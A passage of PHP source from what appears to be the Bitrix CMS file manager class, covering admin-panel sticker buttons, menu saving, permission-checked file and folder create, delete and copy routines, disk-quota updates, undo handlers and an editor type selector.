"SORT"=>100,
));
}
//Sticker buttons
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/fileman/classes/general/sticker.php");
if (CSticker::CanDoOperation('sticker_view'))
{
$useHotKeys = COption::GetOptionString('fileman', "stickers_use_hotkeys", "Y") == "Y";
$arMenu = array();
if (CSticker::CanDoOperation('sticker_new'))
{
$arMenu[] = array(
"TEXT" => GetMessage("FMST_PANEL_STICKER_ADD").($useHotKeys ? ' (Ctrl+Shift+S)' : ''),
"TITLE" => GetMessage("FMST_PANEL_STICKER_ADD_TITLE"),
"ICON" => "",
"ACTION" => CSticker::GetScriptStr('add'),
"DEFAULT" => true,
"HK_ID"=>"FMST_PANEL_STICKER_ADD",
);
$arMenu[] = array("SEPARATOR" => true);
}
$curPageCount = CSticker::GetCurPageCount();
$arMenu[] = array(
"ID" => "bxst-show-sticker-icon",
"TEXT" => GetMessage("FMST_PANEL_STICKERS_SHOW", array("#COUNT#" => $curPageCount)).($useHotKeys ? ' (Ctrl+Shift+X)' : ''),
"TITLE" => GetMessage("FMST_PANEL_STICKERS_SHOW_TITLE"),
"ICON" => CSticker::GetBShowStickers() ? " checked" : "",
"ACTION" => CSticker::GetScriptStr('show'),
"HK_ID"=>"FMST_PANEL_STICKERS_SHOW",
);
$arMenu[] = array(
"TEXT" => GetMessage("FMST_PANEL_CUR_STICKER_LIST").($useHotKeys ? ' (Ctrl+Shift+L)' : ''),
"TITLE" => GetMessage("FMST_PANEL_CUR_STICKER_LIST_TITLE"),
"ICON" => "",
"ACTION" => CSticker::GetScriptStr('list_cur'),
"HK_ID"=>"FMST_PANEL_CUR_STICKER_LIST",
);
$arMenu[] = array(
"TEXT" => GetMessage("FMST_PANEL_ALL_STICKER_LIST"),
"TITLE" => GetMessage("FMST_PANEL_ALL_STICKER_LIST_TITLE"),
"ICON" => "",
"ACTION" => CSticker::GetScriptStr('list_all'),
"HK_ID"=>"FMST_PANEL_ALL_STICKER_LIST",
);
$APPLICATION->AddPanelButton(array(
"HREF" => 'javascript:'.(CSticker::CanDoOperation('sticker_edit') ? CSticker::GetScriptStr('add') : CSticker::GetScriptStr('show')),
"TYPE" => "SMALL",
"ICON" => "bx-panel-small-stickers-icon",
"TEXT" => GetMessage("FMST_PANEL_STICKERS_TOOLTIP_TITLE"),
"MAIN_SORT" => "1000",
"SORT" => 100,
"MENU" => $arMenu,
"HK_ID"=>"FMST_PANEL_STICKERS",
"HINT" => array(
"TITLE" => CSticker::CanDoOperation('sticker_edit') ? GetMessage("FMST_PANEL_STICKERS_TOOLTIP_TITLE") : GetMessage("FMST_PANEL_STICKERS_SHOW_1"),
"TEXT" => CSticker::CanDoOperation('sticker_edit') ? GetMessage("FMST_PANEL_STICKERS_TOOLTIP").($useHotKeys ? " (Ctrl+Shift+S)" : "") : GetMessage("FMST_PANEL_STICKERS_ALT").($useHotKeys ? " (Ctrl+Shift+X)" : "")
)
));
CSticker::Init(array('curPageCount' => $curPageCount));
}
}
public static function OnGroupDelete($group_id)
{
return "";
}
public static function GetVersion()
{
@include($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/fileman/install/version.php");
if (!isset($arModuleVersion['VERSION']))
return false;
return $arModuleVersion['VERSION'];
}
public static function SaveMenu($path, $aMenuLinksTmp, $sMenuTemplateTmp = "")
{
global $APPLICATION;
CMain::InitPathVars($site, $path);
$DOC_ROOT = CSite::GetSiteDocRoot($site);
$strMenuLinks = "";
if(strlen($sMenuTemplateTmp)>0)
$strMenuLinks .= "\$sMenuTemplate = \"".CFileMan::EscapePHPString($sMenuTemplateTmp)."\";\n";
$strMenuLinks .= "\$aMenuLinks = Array(";
$i=0;
foreach($aMenuLinksTmp as $arMenuItem)
{
$i++;
$strMenuLinksTmp = "";
if($i>1)
$strMenuLinksTmp .= ",";
$strMenuLinksTmp .= "\n".
" Array(\n".
" \"".CFileMan::EscapePHPString($arMenuItem[0])."\", \n".
" \"".CFileMan::EscapePHPString($arMenuItem[1])."\", \n".
" Array(";
if(is_array($arMenuItem[2]))
{
for($j = 0, $l = count($arMenuItem[2]); $j < $l; $j++)
{
if($j>0)
$strMenuLinksTmp .= ", ";
$strMenuLinksTmp .= "\"".CFileMan::EscapePHPString($arMenuItem[2][$j])."\"";
}
}
$strMenuLinksTmp .= "), \n";
$strMenuLinksTmp .= " Array(";
if(is_array($arMenuItem[3]))
{
$arParams = array_keys($arMenuItem[3]);
for($j = 0, $l = count($arParams); $j < $l; $j++)
{
if($j>0)
$strMenuLinksTmp .= ", ";
$strMenuLinksTmp .= "\"".CFileMan::EscapePHPString($arParams[$j])."\"=>"."\"".CFileMan::EscapePHPString($arMenuItem[3][$arParams[$j]])."\"";
}
}
$strMenuLinksTmp .= "), \n".
" \"".CFileMan::EscapePHPString($arMenuItem[4])."\" \n".
" )";
$strMenuLinks .= $strMenuLinksTmp;
}
$strMenuLinks .= "\n);";
$APPLICATION->SaveFileContent($DOC_ROOT.$path, "<"."?\n".$strMenuLinks."\n?".">");
$GLOBALS["CACHE_MANAGER"]->CleanDir("menu");
CBitrixComponent::clearComponentCache("bitrix:menu");
}
public static function GetMenuArray($abs_path)
{
$aMenuLinks = Array();
$sMenuTemplate = '';
$io = CBXVirtualIo::GetInstance();
if ($io->FileExists($abs_path))
include($io->GetPhysicalName($abs_path));
return Array("aMenuLinks"=>$aMenuLinks, "sMenuTemplate" => $sMenuTemplate);
}
public static function GetFileName($path)
{
return GetFileName($path);
}
public static function CreateDir($path)
{
CMain::InitPathVars($site, $path);
$DOC_ROOT = CSite::GetSiteDocRoot($site);
if (DEBUG_FILE_MAN) echo "CreateDir($path);<br>";
global $APPLICATION, $USER;
$badDirs=Array();
$io = CBXVirtualIo::GetInstance();
$path = $io->CombinePath($path);
$p=strrpos($path, "/");
while($p!==false)
{
$dir = $io->GetDirectory($DOC_ROOT.$path);
if($dir->IsExists())
{
$dir->MarkWritable();
break;
}
$badDirs[] = substr($path, $p + 1);
$path = substr($path, 0, $p);
$p = strrpos($path, "/");
}
for($i = count($badDirs) - 1; $i >= 0; $i--)
{
$path = $path."/".$badDirs[$i];
if(!$USER->CanDoFileOperation('fm_create_new_folder', Array($site,$path)))
return GetMessage("FILEMAN_FILEMAN_CREATE_FOLDER_DENY")." \"".$path."\".\n";
if (($mess = CFileMan::CheckFileName($badDirs[$i])) !== true)
return $mess;
if (!$io->CreateDirectory($DOC_ROOT.$path))
return GetMessage("FILEMAN_CREATE_FOLDER_ERROR", array('#PATH#' => htmlspecialcharsex($path)));
}
}
//Function check if there are anything exept .access.php and if folder is empty - delete it
public static function DeleteDir($path)
{
if(DEBUG_FILE_MAN)echo "DeleteDir(".$path.");<br>";
CMain::InitPathVars($site, $path);
$DOC_ROOT = CSite::GetSiteDocRoot($site);
$io = CBXVirtualIo::GetInstance();
global $APPLICATION, $USER;
if(strlen(trim($path))<=0)
return GetMessage("FILEMAN_FILEMAN_TRYING_ROOT_DELETE")."\n";
if(!$io->DirectoryExists($DOC_ROOT.$path))
return GetMessage("FILEMAN_FILEMAN_FOLDER")." \"$path\" ".GetMessage("FILEMAN_FILEMAN_NOT_EXISTS")."\n";
//check rights to write for this subfolder
if(!$USER->CanDoFileOperation('fm_delete_folder', Array($site,$path)))
return GetMessage("FILEMAN_FILEMAN_FOLDER_DEL_DENY")."\" ".$path."\".\n";
$d = $io->GetDirectory($DOC_ROOT.$path);
$arChildren = $d->GetChildren();
foreach ($arChildren as $child)
{
if (!$child->IsDirectory() && $child->GetName() != ".access.php")
return GetMessage("FILEMAN_FILEMAN_FOLDER_DEL_ERROR")." \"".$path."\" ".GetMessage("FILEMAN_FILEMAN_FOLDER_NOT_EMPTY").".\n";
}
//it's ok ... BUMP OFF!!!
if ($io->FileExists($DOC_ROOT.$path."/.access.php"))
{
$f = $io->GetFile($DOC_ROOT.$path."/.access.php");
$f->MarkWritable();
$io->Delete($DOC_ROOT.$path."/.access.php");
}
$d->MarkWritable();
if(DEBUG_FILE_MAN)echo "rmdir(".$path.");";
if(!$io->Delete($DOC_ROOT.$path))
return GetMessage("FILEMAN_FILEMAN_FOLDER_DEL_ERROR")." \"".$path."\".\n";
$APPLICATION->RemoveFileAccessPermission(Array($site, $path));
}
public static function DeleteFile($path)
{
global $APPLICATION, $USER;
CMain::InitPathVars($site, $path);
$DOC_ROOT = CSite::GetSiteDocRoot($site);
$io = CBXVirtualIo::GetInstance();
if(!$io->FileExists($DOC_ROOT.$path))
return GetMessage("FILEMAN_FILEMAN_FILE")." \"$path\" ".GetMessage("FILEMAN_FILEMAN_NOT_EXISTS")."\n";
if(strlen($path)>=12 && substr($path, strlen($path) - 12)=="/.access.php")
return;
//check: can we delete this file
if(!$USER->CanDoFileOperation('fm_delete_file', Array($site,$path)))
return GetMessage("FILEMAN_FILEMAN_FILE_DEL_DENY")." \"".$path."\".\n";
$f = $io->GetFile($DOC_ROOT.$path);
$f->MarkWritable();
//deleting file
if(DEBUG_FILE_MAN)echo "unlink(".$DOC_ROOT.$path.");<br>";
$file_size = $f->GetFileSize();
if($io->Delete($DOC_ROOT.$path))
{
$APPLICATION->RemoveFileAccessPermission(Array($site, $path));
if(CModule::IncludeModule("search"))
CSearch::DeleteIndex("main", $site."|".$path);
//************************** Quota **************************//
if(COption::GetOptionInt("main", "disk_space") > 0)
{
$quota = new CDiskQuota();
$quota->updateDiskQuota("file", $file_size, "delete");
}
//************************** Quota **************************//
}
}
public static function DeleteEx($path)
{
global $APPLICATION, $USER;
CMain::InitPathVars($site, $path);
if(strlen($path) <= 0)
return false;
$src = $_SERVER["DOCUMENT_ROOT"].$path;
$src = str_replace("//","/",$src);
if($src == $_SERVER["DOCUMENT_ROOT"])
return false;
$DOC_ROOT = CSite::GetSiteDocRoot($site);
@set_time_limit(600);
$io = CBXVirtualIo::GetInstance();
if(is_link($linkPath = CBXVirtualIoFileSystem::ConvertCharset($DOC_ROOT.$path))) //if delete symb. link todo: windows, can't delete links on dirs
{
if(@unlink($linkPath))
return;
else
return GetMessage("FILEMAN_FILEMAN_SYMLINK_DEL_ERROR")." \"".$path."\".\n";
}
elseif($io->DirectoryExists($DOC_ROOT.$path))//if delete folder
{
//check rights
if(!$USER->CanDoFileOperation('fm_delete_folder', Array($site,$path)))
return GetMessage("FILEMAN_FILEMAN_FOLDER_DEL_DENY")." \"".$path."\".\n";
}
else //if delete file
{
return CFileman::DeleteFile(Array($site, $path));
}
$strWarning = "";
//get folder content
$d = $io->GetDirectory($DOC_ROOT.$path);
$arChildren = $d->GetChildren();
foreach ($arChildren as $child)
{
$fn = $child->GetName();
if ($child->IsDirectory())
{
$strWarning .= CFileman::DeleteEx(Array($site, $path."/".$fn));
}
else
{
if($fn == ".access.php") continue;
$strWarning .= CFileman::DeleteFile(Array($site, $path."/".$fn));
}
}
//delete first folder
$strWarning .= CFileMan::DeleteDir(Array($site, $path));
return $strWarning;
}
public static function NormalizePath($path)
{
$io = CBXVirtualIo::GetInstance();
return $io->CombinePath("/", $path);
}
public static function CopyEx($path_from, $path_to, $bDeleteAfterCopy = false, $bOverride = false)
{
global $APPLICATION, $USER;
CMain::InitPathVars($site_from, $path_from);
$DOC_ROOT_FROM = CSite::GetSiteDocRoot($site_from);
CMain::InitPathVars($site_to, $path_to);
$DOC_ROOT_TO = CSite::GetSiteDocRoot($site_to);
$strWarning = '';
//check: if we copy to the same directory
if(strpos($DOC_ROOT_TO.$path_to."/", $DOC_ROOT_FROM.$path_from."/")===0)
return GetMessage("FILEMAN_LIB_BAD_FOLDER").": \"".$path_from."\".\n";
$io = CBXVirtualIo::GetInstance();
if($io->DirectoryExists($DOC_ROOT_FROM.$path_from))// Copy folder
{
// Minimal access - read/listing for copying files
if(!$USER->CanDoFileOperation('fm_view_listing', Array($site_from, $path_from)))
return GetMessage("FILEMAN_FILEMAN_FOLDER_READ_DENY")." \"".$path_from."\".\n";
if ($bDeleteAfterCopy && !$USER->CanDoFileOperation('fm_delete_folder', Array($site_from, $path_from)))
return GetMessage("FILEMAN_FILEMAN_FOLDER_DEL_DENY")." \"".$path_from."\".\n";
//Check: folder exist or not
$strWarTmp = CFileMan::CreateDir(Array($site_to, $path_to));
if(strlen($strWarTmp ) > 0)
return $strWarTmp;
$APPLICATION->CopyFileAccessPermission(Array($site_from, $path_from), Array($site_to, $path_to));
}
else // Copy file
{
// If we can write this file
if (!$USER->CanDoFileOperation('fm_create_new_file', Array($site_to, $path_to)))
return GetMessage("FILEMAN_FILEMAN_FILE_WRITE_DENY")." \"".$path_to."\".\n";
// If we can't read source-file
if(!$USER->CanDoFileOperation('fm_view_file', Array($site_from, $path_from)))
return GetMessage("FILEMAN_FILEMAN_FILE_READ_DENY")." \"".$path_from."\".\n";
// Copying php or system file without PHP or LPA access
if (!($USER->CanDoOperation('edit_php') || $USER->CanDoFileOperation('fm_lpa', $arPath) || !(HasScriptExtension($Elem["NAME"]) || substr($Elem["NAME"], 0, 1)==".")))
return GetMessage("FILEMAN_FILEMAN_FILE_READ_DENY")." \"".$path_from."\".\n";
// If we can't move source-file
if($bDeleteAfterCopy && !$USER->CanDoFileOperation('fm_delete_file', Array($site_from, $path_from)))
return GetMessage("FILEMAN_FILEMAN_FILE_DEL_DENY")." \"".$path_from."\".\n";
//Check if folder already exist and trying to create if not
$p = strrpos($path_to, "/");
$path_to_dir = substr($path_to, 0, $p);
$strWarTmp = CFileMan::CreateDir(Array($site_to, $path_to_dir));
if(strlen($strWarTmp)>0)
return $strWarTmp;
if($io->FileExists($DOC_ROOT_TO.$path_to) || $io->DirectoryExists($DOC_ROOT_TO.$path_to))
{
if ($bOverride)
{
$strWarn = CFileMan::DeleteEx(Array($site_to, $path_to));
if ($strWarn != "")
return $strWarn;
}
else
{
return GetMessage("FILEMAN_FILEMAN_FILE_WITH_NAME")." \"".$path_to."\" ".GetMessage("FILEMAN_FILEMAN_ALREADY_EXISTS")."!\n";
}
}
$APPLICATION->CopyFileAccessPermission(Array($site_from, $path_from), Array($site_to, $path_to));
//************************** Quota **************************//
if(COption::GetOptionInt("main", "disk_space") > 0)
{
$f = $io->GetFile($DOC_ROOT_FROM.$path_from);
$size = $f->GetFileSize();
$quota = new CDiskQuota();
if (!$quota->checkDiskQuota(array("FILE_SIZE"=>$size)))
return $quota->LAST_ERROR;
}
//************************** Quota **************************//
// Copy file
if(DEBUG_FILE_MAN)
echo "copy(".$DOC_ROOT_FROM.$path_from.",".$DOC_ROOT_TO.$path_to.");<br>";
if (!$io->Copy($DOC_ROOT_FROM.$path_from, $DOC_ROOT_TO.$path_to))
$strWarning .= GetMessage('FILEMAN_COPY_ERROR', array('#PATH_FROM#' => htmlspecialcharsex($path_from), '#PATH_TO#' => htmlspecialcharsex($path_to)));
//************************** Quota **************************//
if(COption::GetOptionInt("main", "disk_space") > 0)
$quota->updateDiskQuota("file", $size, "copy");
//************************** Quota **************************//
if(CModule::IncludeModule("search"))
{
$site = CSite::GetSiteByFullPath($DOC_ROOT_TO.$path_to);
CSearch::ReIndexFile(Array($site_to, $path_to), $site);
}
if($bDeleteAfterCopy && strlen($strWarning) <=0) // If was command "delete after copy"?
$strWarning .= CFileMan::DeleteFile(Array($site_from, $path_from));
return $strWarning;
}
// Recursive
$d = $io->GetDirectory($DOC_ROOT_FROM.$path_from);
$arChildren = $d->GetChildren();
foreach ($arChildren as $child)
{
$fn = $child->GetName();
if($child->IsDirectory()) //if this is subfolder
{
//go to recursion
$strWarning .= CFileMan::CopyEx(Array($site_from, $path_from."/".$fn), Array($site_to, $path_to."/".$fn), $bDeleteAfterCopy, $bOverride);
//back from recursion, in this subfolder all right
//if($bDeleteAfterCopy) //necessary delete this subfolder
// $strWarning .= CFileMan::DeleteDir($path_from."/".$file);
}
else //this is "subfile" :-)
{
if($fn == ".access.php")
continue;
//let's check, if we can to write there
if(!$USER->CanDoFileOperation('fm_create_new_file', Array($site_to, $path_to."/".$fn)))
$strWarning .= GetMessage("FILEMAN_FILEMAN_FILE_WRITE_DENY")." \"".$path_to."/".$fn."\".\n";
//let's check, if we can read from there
elseif(!$USER->CanDoFileOperation('fm_view_file', Array($site_from, $path_from."/".$fn)))
$strWarning .= GetMessage("FILEMAN_FILEMAN_FILE_READ_DENY")." \"".$path_from."/".$fn."\".\n";
elseif (!($USER->CanDoOperation('edit_php') || $USER->CanDoFileOperation('fm_lpa', Array($site_from, $path_from."/".$fn)) || !(HasScriptExtension($fn) || substr($fn, 0, 1) == ".")))
$strWarning .= GetMessage("FILEMAN_FILEMAN_FILE_READ_DENY")." \"".$path_from."/".$fn."\".\n";
else
{
if($io->FileExists($DOC_ROOT_TO.$path_to."/".$fn))
{
if ($bOverride)
{
$strWarn = CFileMan::DeleteEx(Array($site_to, $path_to."/".$fn));
if ($strWarn != "")
$strWarning .= $strWarn."\n";
}
else
{
$strWarning .= GetMessage("FILEMAN_FILEMAN_FILE_WITH_NAME")." \"".$path_to."/".$fn."\" ".GetMessage("FILEMAN_FILEMAN_ALREADY_EXISTS")."!\n";
}
}
if ($strWarning == "")
{
//it means we can copy, if we found here
$APPLICATION->CopyFileAccessPermission(Array($site_from, $path_from."/".$fn), Array($site_to, $path_to."/".$fn));
if(DEBUG_FILE_MAN)
echo "copy(".$DOC_ROOT_FROM.$path_from."/".$fn.",".$DOC_ROOT_TO.$path_to."/".$fn.");<br>";
if (!$io->Copy($DOC_ROOT_FROM.$path_from."/".$fn, $DOC_ROOT_TO.$path_to."/".$fn))
$strWarning .= GetMessage('FILEMAN_COPY_ERROR', array('#PATH_FROM#' => htmlspecialcharsex($path_from."/".$fn), '#PATH_TO#' => htmlspecialcharsex($path_to."/".$fn)));
//************************** Quota **************************//
if(COption::GetOptionInt("main", "disk_space") > 0)
{
$f = $io->GetFile($DOC_ROOT_TO.$path_to."/".$fn);
$quota = new CDiskQuota();
$quota->updateDiskQuota("file", $f->GetFileSize(), "copy");
}
//************************** Quota **************************//
if(CModule::IncludeModule("search"))
{
$site = CSite::GetSiteByFullPath($DOC_ROOT_TO, $path_to."/".$fn);
CSearch::ReindexFile($path_to."/".$fn, $site);
}
if($bDeleteAfterCopy && strlen($strWarning) <=0)
{
$strWarning .= CFileMan::DeleteFile(Array($site_from, $path_from."/".$fn));
}
}
}
}
}
//we may be need, to delete our initial folder
if($bDeleteAfterCopy)
$strWarning .= CFileMan::DeleteDir(Array($site_from, $path_from));
return $strWarning;
}
public static function GetAllDirList(&$arDirs, $arFilter=Array(), $site=false)
{
$arFiles = array();
CFileMan::DirsRecursive(Array($site, ""), $arDirs, $arFilter, 0);
}
public static function DirsRecursive($path, &$arDirs, $arFilter=Array(), $depth=0)
{
$depth++;
CFileMan::GetDirList($path, $arDirsTmp, $arFiles, $arFilter, Array("name"=>"asc"), "D");
for($i = 0, $l = count($arDirsTmp); $i < $l; $i++)
{
$arDir = $arDirsTmp[$i];
$arDir["DEPTH_LEVEL"] = $depth;
$arDirs[] = $arDir;
CFileMan::DirsRecursive($arDir["ABS_PATH"], $arDirs, $arFilter, $depth);
}
}
public static function CompareFiles($f1, $f2, $sort=Array())
{
return CompareFiles($f1, $f2, $sort);
}
public static function GetDirList($path, &$arDirs, &$arFiles, $arFilter=Array(), $sort=Array(), $type="DF", $bLogical=false, $task_mode=false)
{
return GetDirList($path, $arDirs, $arFiles, $arFilter, $sort, $type, $bLogical,$task_mode);
}
public static function __CheckSite($site)
{
if($site !== false)
{
if(strlen($site)>0)
{
$res = CSite::GetByID($site);
if($arSite = $res->Fetch())
$site = $arSite['ID'];
else
$site = false;
}
else
$site = false;
}
return $site;
}
public static function ParsePath($path, $bLast=false, $url=false, $param="", $bLogical = false)
{
return ParsePath($path, $bLast, $url, $param, $bLogical);
}
public static function GetFileExtension($path)
{
return GetFileExtension($path);
}
public static function GetFileType($path)
{
return GetFileType($path);
}
public static function GetStrFileSize($size)
{
return CFile::FormatSize($size);
}
public static function GetFileTypeEx($fileName)
{
global $arFilemanPredifinedFileTypesR;
$fileExt = GetFileExtension(strtolower($fileName));
if (count($arFilemanPredifinedFileTypesR) <= 0)
{
foreach ($GLOBALS['arFilemanPredifinedFileTypes'] as $key => $value)
foreach ($value["exts"] as $ext)
$arFilemanPredifinedFileTypesR[$ext] = $key;
}
if (isset($arFilemanPredifinedFileTypesR[$fileExt]))
return $arFilemanPredifinedFileTypesR[$fileExt];
return "file";
}
public static function EscapePHPString($str)
{
return EscapePHPString($str);
}
public static function UnEscapePHPString($str)
{
return UnEscapePHPString($str);
}
public static function UndoFileDelete($Params, $type)
{
global $APPLICATION;
$documentRoot = CSite::GetSiteDocRoot($Params['site']);
// Restore file
if (strlen($Params['path']) > 0)
$APPLICATION->SaveFileContent($documentRoot.$Params['path'], $Params['content']);
// Update disk quota
if (COption::GetOptionInt("main", "disk_space") > 0)
{
$io = CBXVirtualIo::GetInstance();
$f = $io->GetFile($documentRoot.$Params['path']);
$file_size = $f->GetFileSize();
$quota = new CDiskQuota();
$quota->UpdateDiskQuota("file", $file_size, "delete");
}
// Restore file access permissions
if (is_array($Params['perm']) && count($Params['perm']) > 0)
{
for ($i = 0, $l = count($Params['perm']); $i < $l; $i++)
{
$permFile = $Params['perm'][$i]['permFile'];
$permContent = $APPLICATION->GetFileContent($permFile);
$permContent = substr($permContent, 0, strpos($permContent, "?".">"));
$permContent .= "\$PERM[\"".EscapePHPString($Params['perm'][$i]['file'])."\"][\"".EscapePHPString($Params['perm'][$i]['group'])."\"]=\"".EscapePHPString($Params['perm'][$i]['perm'])."\";\n";
$permContent .= "?".">\n";
$APPLICATION->SaveFileContent($permFile, $permContent);
}
}
// Restore menu
if (is_array($Params['menu']) && count($Params['menu']) > 0)
{
for ($i = 0, $l = count($Params['menu']); $i < $l; $i++)
{
$menuFile = $Params['menu'][$i]['menuFile'];
$menuIndex = $Params['menu'][$i]['menuIndex'];
$menuItem = $Params['menu'][$i]['menuItem'];
$arMenu = CFileman::GetMenuArray($documentRoot.$menuFile);
$arFound = false;
if (count($arMenu["aMenuLinks"]) <= $menuIndex)
$arMenu["aMenuLinks"][] = $menuItem;
else
$arMenu["aMenuLinks"] = array_merge(array_slice($arMenu["aMenuLinks"], 0, $menuIndex), array($menuItem), array_slice($arMenu["aMenuLinks"], $menuIndex));
CFileMan::SaveMenu(Array($Params['site'], $menuFile), $arMenu["aMenuLinks"], $arMenu["sMenuTemplate"]);
}
}
// Restore UrlRewriter
if (is_array($Params['SEF']) && count($Params['SEF']) > 0)
{
for ($i = 0, $l = count($Params['SEF']); $i < $l; $i++)
{
CUrlRewriter::Add(array(
"SITE_ID" => $Params['site'],
"CONDITION" => $Params['SEF'][$i]["CONDITION"],
"ID" => $Params['SEF'][$i]["ID"],
"PATH" => $Params['SEF'][$i]["PATH"],
"RULE" => $Params['SEF'][$i]["RULE"]
));
}
}
$GLOBALS["CACHE_MANAGER"]->CleanDir("menu");
}
public static function UndoNewFile($Params, $type)
{
global $APPLICATION;
$documentRoot = CSite::GetSiteDocRoot($Params['site']);
$io = CBXVirtualIo::GetInstance();
// Delete file
$f = $io->GetFile($Params['absPath']);
$f->MarkWritable();
if (COption::GetOptionInt("main", "disk_space") > 0)
{
$file_size = $f->GetFileSize();
$quota = new CDiskQuota();
$quota->UpdateDiskQuota("file", $file_size, "delete");
}
$sucess = $io->Delete($Params['absPath']);
if (!$sucess)
return;
$APPLICATION->RemoveFileAccessPermission(Array($Params['site'], $Params['path']));
if (CModule::IncludeModule("search"))
CSearch::DeleteIndex("main", $Params['site']."|".$Params['path']);
// Find and clean file from menu
if ($Params['menu'])
{
$arMenu = CFileman::GetMenuArray($documentRoot.$Params['menu']['menuFile']);
if (!empty($arMenu["aMenuLinks"]))
{
$found = false;
foreach ($arMenu["aMenuLinks"] as $menuIndex => $arItem)
{
if ($arItem[1] == $Params['menu']['menuPath'] && $arItem[0] == $Params['menu']['menuName'])
{
unset($arMenu["aMenuLinks"][$menuIndex]);
$found = true;
break;
}
}
if ($found)
CFileMan::SaveMenu(Array($Params['site'], $Params['menu']['menuFile']), $arMenu["aMenuLinks"], $arMenu["sMenuTemplate"]);
}
}
if (isset($Params['public']) && $Params['public'] == 'Y')
{
?>
<script type="text/javascript">
window.location = '<?= CUtil::JSEscape(CHTTP::URN2URI(GetDirPath($Params['path'])))?>';
</script>
<?
}
$GLOBALS["CACHE_MANAGER"]->CleanDir("menu");
}
public static function UndoEditFile($Params, $type)
{
global $APPLICATION;
// Restore file
if (strlen($Params['absPath']) > 0)
$APPLICATION->SaveFileContent($Params['absPath'], $Params['content']);
$GLOBALS["CACHE_MANAGER"]->CleanDir("menu");
}
public static function UndoNewSection($Params, $type)
{
$io = CBXVirtualIo::GetInstance();
if (strlen($Params['path']) > 0 && $Params['path'] != "/" && $io->DirectoryExists($Params['absPath']))
CFileman::DeleteEx(Array($Params['site'], $Params['path']));
$documentRoot = CSite::GetSiteDocRoot($Params['site']);
// Find and clean file from menu
if ($Params['menu'])
{
$arMenu = CFileman::GetMenuArray($documentRoot.$Params['menu']['menuFile']);
if (!empty($arMenu["aMenuLinks"]))
{
$found = false;
foreach ($arMenu["aMenuLinks"] as $menuIndex => $arItem)
{
if ($arItem[1] == $Params['menu']['menuPath'] && $arItem[0] == $Params['menu']['menuName'])
{
unset($arMenu["aMenuLinks"][$menuIndex]);
$found = true;
break;
}
}
if ($found)
CFileMan::SaveMenu(Array($Params['site'], $Params['menu']['menuFile']), $arMenu["aMenuLinks"], $arMenu["sMenuTemplate"]);
}
}
}
public static function FetchFileAccessPerm($path)
{
CMain::InitPathVars($site, $path);
$DOC_ROOT = CSite::GetSiteDocRoot($site);
$result = false;
if(($p = bxstrrpos($path, "/")) === false)
return $result;
$path_file = substr($path, $p + 1);
$path_dir = substr($path, 0, $p);
$io = CBXVirtualIo::GetInstance();
if (!$io->FileExists($DOC_ROOT.$path_dir."/.access.php"))
return $result;
include($io->GetPhysicalName($DOC_ROOT.$path_dir."/.access.php"));
$result = array();
foreach($PERM as $file=>$arPerm)
{
if($file == $path_file)
{
foreach($arPerm as $group=>$perm)
$result[] = array(
'permFile' => $DOC_ROOT.$path_dir."/.access.php",
'file' => $file,
'group' => $group,
'perm' => $perm
);
}
}
return $result;
}
public static function ShowTypeSelector($params)
{
global $USER;
$useEditor3 = COption::GetOptionString('fileman', "use_editor_3", "Y") == "Y";
$name = $params['name'];
$key = isset($params['key']) ? $params['key'] : '';
$showTextType = isset($params['strTextTypeFieldName']) && $params['strTextTypeFieldName'];
$strTextTypeFieldName = $params['strTextTypeFieldName'];
$textType = $params['strTextTypeValue'] == 'html' ? 'html' : 'text';
$bxid = 'bxed_'.$name;
$replaceNewLines = COption::GetOptionString('fileman', "replace_new_lines", "Y") == "Y";
if ($textType == 'html')
{
$curType = CUserOptions::GetOption('html_editor', "type_selector_".$name.$key, false, $USER->GetId());
$curType = $curType['type'];
if ($curType && in_array($curType, array('html', 'editor')))
{
$textType = $curType;
}
}
$ch = "checked=\"checked\"";
?>
<div class="bx-ed-type-selector">
<?if ($showTextType):?>
<span class="bx-ed-type-selector-item"><input <? if ($textType == 'text') {echo $ch;}?> type="radio" name="<?= $strTextTypeFieldName?>" id="<?= $bxid?>_text" value="text" /><label for="<?= $bxid?>_text"><?= GetMessage('FILEMAN_FILEMAN_TYPE_TEXT')?></label></span>
<span class="bx-ed-type-selector-item"><input <? if ($textType == 'html') {echo $ch;}?> type="radio" name="<?= $strTextTypeFieldName?>" id="<?= $bxid?>_html" value="html" /><label for="<?= $bxid?>_html">HTML</label></span>
<span class="bx-ed-type-selector-item"><input <? if ($textType == 'editor') {echo $ch;}?> type="radio" name="<?= $strTextTypeFieldName?>" id="<?= $bxid?>_editor" value="html" /><label for="<?= $bxid?>_editor"><?= GetMessage('FILEMAN_FILEMAN_TYPE_HTML_EDITOR')?></label></span>
<? else:?>
<span class="bx-ed-type-selector-item"><input type="checkbox" id="<?= $bxid?>_editor" name="<?= $strTextTypeFieldName?>" value="Y" <? if ($textType == 'editor') {echo $ch;}?> /><label for="<?= $bxid?>_editor"><?= GetMessage("FILEMAN_FILEMAN_USE_HTML_EDITOR");?></span>
<? endif;?>
</div>
<script>
function onChangeInputType(editorName)
{
if (window['changeType_' + editorName] && typeof window['changeType_' + editorName] == 'function')
{
window['changeType_' + editorName]();
}
else
{
return setTimeout(function(){onChangeInputType(editorName);}, 100);
}
}
BX.ready(function()
{
var
pOptText = BX("<?= $bxid?>_text"),
pOptHtml = BX("<?= $bxid?>_html"),
pOptEditor = BX("<?= $bxid?>_editor");
if (pOptText)
{
BX.bind(pOptText, 'click', function(){onChangeInputType('<?= $name?>');});
}
if (pOptHtml)
{
BX.bind(BX("<?= $bxid?>_html"), 'click', function(){onChangeInputType('<?= $name?>');});
}
if (pOptEditor)
{
BX.bind(BX("<?= $bxid?>_editor"), 'click', function(){onChangeInputType('<?= $name?>');});
}
});
</script>
<?if ($useEditor3):?>
<script>
BX.ready(function()
{
top.changeType_<?= $name?> = window.changeType_<?= $name?> = function(bSave)
{
var
replaceNewLines = <?= $replaceNewLines ? 'true' : 'false'?>,
pOptHtml = BX("<?= $bxid?>_html"),
pOptEditor = BX("<?= $bxid?>_editor");
var curType = pOptEditor.checked ? 'editor' : 'text';
if (pOptHtml && pOptHtml.checked)
{
curType = 'html';
}
// Save choice
<?if ($params['bSave']):?>
if (bSave !== false)
{
BX.userOptions.save('html_editor', 'type_selector_<?= $name.$key?>', 'type', curType);
}
<?endif;?>
<?if (isset($params['externalFuncName']) && $params['externalFuncName']):?>
var func = window['<?= $params['externalFuncName']?>'];
if (func && typeof func == 'function')
{
func(curType);
}
<?else:?>
// Editor
var
editorName = '<?= $name?>',
textarea = BX("bxed_<?= $name?>"),
